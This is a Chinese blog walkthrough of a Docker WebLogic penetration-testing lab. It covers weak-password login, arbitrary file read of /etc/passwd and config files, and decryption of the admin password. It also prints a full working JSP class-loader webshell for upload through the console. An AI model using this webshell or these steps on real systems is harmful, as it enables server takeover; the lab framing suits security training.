Weblogic 常规渗透测试环境

发布时间 2023-12-01 13:54:00作者: kalixcn

Weblogic 常规渗透测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
weblogic版本:10.3.6(11g)
Java版本:1.6
启动本环境:

cd weblogic/weak_password
docker-compose up -d

弱口令

环境启动后,访问http://10.10.10.10:7001/console,即为weblogic后台。
本环境存在弱口令:

  • weblogic
  • Oracle@123

任意文件读取漏洞的利用

假设不存在弱口令,如何对weblogic进行渗透?

本环境前台模拟了一个任意文件下载漏洞,访问http://10.10.10.10:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么,该漏洞如何利用?

读取后台用户密文与秘钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
img

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:
img
识别密码
img
如果识别不了,设置burp字符集
img

后台上传webshell

获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:
img
点击安装,选择"上传文件":
img
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点击下一步。
先将webshell压缩成zip压缩包,修改后缀名为war:

<!-- webshell -->
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

img
然后访问http://10.10.10.10:7001/muma/muma.jsp
使用蚁剑连接,连接密码为:passwd

img